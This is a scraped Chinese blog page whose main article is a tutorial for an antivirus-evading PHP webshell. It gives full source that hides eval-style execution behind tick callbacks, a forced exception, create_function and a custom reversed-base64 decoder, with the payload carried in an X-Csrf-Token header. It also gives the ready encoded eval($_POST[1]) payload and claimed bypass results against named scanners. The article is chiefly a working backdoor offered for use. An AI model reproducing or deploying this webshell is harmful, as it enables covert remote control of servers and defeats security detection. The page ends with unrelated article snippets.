news 2026/7/2 3:05:10

记录一个免杀的php webshell demo

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
记录一个免杀的php webshell demo

异常捕获机制

这里使用的是触发异常来完成程序控制流的第一次分支,所以我自己写了一个除以0触发异常的函数

function safeDivide($a, $b) { if ($b == 0) { throw new Exception("Division by zero is not allowed."); } return $a / $b; }

设置一个pass传参,我设置的主体框架如下:

try { echo "result:".safeDivide(2025, ($_GET['pass']-1)); }catch(Exception $e){ // evil code }

回调

我在php的官方文档里翻到一个有趣的函数

ticks参数可以设置Zend VM opcode执行条数后触发

我们测试一下:

<?php declare(ticks=15); ​ function test(){ echo "this is evil code\n"; } register_tick_function('test'); for ($i = 1; $i <= 12; $i++) { echo "shell: $i\n"; }

我们可以发现设置declare(ticks=15) 后,PHP每累计到约15个“tickable”执行点,就调用一次通过register_tick_function注册的函数。

那么对于我们的webshell免杀,我们也可以利用这个函数,来完成程序控制流的改变

此处的设计将declare回调放在最外层实现第一次的控制流变化,将异常触发放在内层实现第二次

【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

动态函数调用

这个就是直接使用php的函数了,没啥好说的了

create_function(string $args, string $code): string

实际测试的时候,如果使用变量接受的话,容易被检测

$a = create_function('', ''); $a();

不使用变量来存匿名函数,这个也是尽量减少污点分析时候的特征

@create_function('','')))();

编码混淆

找个大模型一把梭

base64和逆序

function custom_base64_decode($input) { $base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; $input = rtrim($input, '='); $binaryString = ''; foreach (str_split($input) as $char) { $index = strpos($base64Chars, $char); if ($index === false) { throw new Exception("Invalid Base64 character: $char"); } $binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT); } ​ $bytes = str_split($binaryString, 8); $decodedString = ''; ​ foreach ($bytes as $byte) { $decodedString .= chr(bindec($byte)); } return $decodedString; } ​ function reverseString($input) { if (!is_string($input)) { return "need str"; } $length = strlen($input); $reversed = ""; for ($i = $length - 1; $i >= 0; $i--) { $reversed .= $input[ $i ]; } return $reversed; }

完整的webshell

源代码

具体的攻击载荷放在http的X-Csrf-Token里

<?php session_start(); declare(ticks=15); function safeDivide($a, $b) { if ($b == 0) { throw new Exception("Division by zero is not allowed."); } return $a / $b; } function custom_base64_decode($input) { $base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; $input = rtrim($input, '='); $binaryString = ''; foreach (str_split($input) as $char) { $index = strpos($base64Chars, $char); if ($index === false) { throw new Exception("Invalid Base64 character: $char"); } $binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT); } ​ $bytes = str_split($binaryString, 8); $decodedString = ''; ​ foreach ($bytes as $byte) { $decodedString .= chr(bindec($byte)); } return $decodedString; } ​ function reverseString($input) { if (!is_string($input)) { return "need str"; } $length = strlen($input); $reversed = ""; for ($i = $length - 1; $i >= 0; $i--) { $reversed .= $input[ $i ]; } return $reversed; } ​ function tickHandler(){ try { echo "result:".safeDivide(2025, ($_GET['pass']-1)); }catch(Exception $e){ @create_function('',custom_base64_decode(reverseString(apache_request_headers()['X-Csrf-Token'])))(); } } ​ ​ register_tick_function('tickHandler'); ​ for ($i = 1; $i <= 12; $i++) { echo "shell: $i\n"; }

测试环境

PHP版本:PHP7全版本

OS:Windows和Linux环境均测试通过

使用方法

初始payload:eval($_POST[1]);

base64编码,逆序处理:==wOp0VMbR1UPB1XkgCbhZXZ

放在http头部里

webshell连接

免杀效果展示

  • 第四届伏魔挑战赛成功绕过(white)的截图

  • VT

  • D盾(2.1.8.6)

  • 河马:报了可疑

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/2 3:04:33

脱码6年重启编码(二)14年没买过个人电脑,第一次为自己选开发本

上一篇我宣布了重启编码。今天这篇&#xff0c;聊一个最务实的问题——时隔14年&#xff0c;我给自己买的第一台个人开发电脑。 01 为什么14年没买个人电脑&#xff1f;一个国企技术人的真实困境 在进入国企之前&#xff0c;我在大厂、外企、创业公司都待过。那些年&#xff0c…

作者头像 李华
网站建设 2026/7/2 3:02:24

[Remap节点]原理解析与实际应用

功能原理与端口配置Remap节点的核心功能基于线性插值公式&#xff1a;Out OutMinMax.x (In - InMinMax.x) * (OutMinMax.y - OutMinMax.x) / (InMinMax.y - InMinMax.x)该公式确保输入值在原始区间内的相对位置关系在目标区间中得以保持。例如&#xff0c;将区间[0,10]中的输…

作者头像 李华
网站建设 2026/7/2 3:02:12

MAX9744与PIC18LF45K50的音频功率放大系统设计

1. 为什么选择MAX9744和PIC18LF45K50这对组合在音频功率放大领域&#xff0c;MAX9744这颗Class D放大器芯片与PIC18LF45K50微控制器的搭配堪称经典组合。MAX9744是Maxim Integrated&#xff08;现已被ADI收购&#xff09;推出的一款高效D类音频功率放大器&#xff0c;能够在单电…

作者头像 李华
网站建设 2026/7/2 2:56:24

奶爸程序员的“育儿”心得

自我吐槽一下&#xff0c;工作了8年了&#xff0c;没有成为架构师&#xff0c;也没有进入管理层&#xff0c;没有成为技术大师&#xff0c;也没能成为分享大师。一直在做业务&#xff0c;并在这条路上越走越远。有的时候觉得很尴尬&#xff0c;但又有的时候觉得还蛮适合自己。 …

作者头像 李华
网站建设 2026/7/2 2:55:09

Go数组去重的20种实现方式,用不同思路解决问题

为什么性能差异这么大&#xff1f; 最简单的写法&#xff0c;新建一个切片&#xff0c;把不在结果里的添加进去。 func unique(arr []int) []int {result : []int{}for _, item : range arr {// 如果当前元素不在结果切片里&#xff0c;添加进去// slices.Contains 是 O(n) 线…

作者头像 李华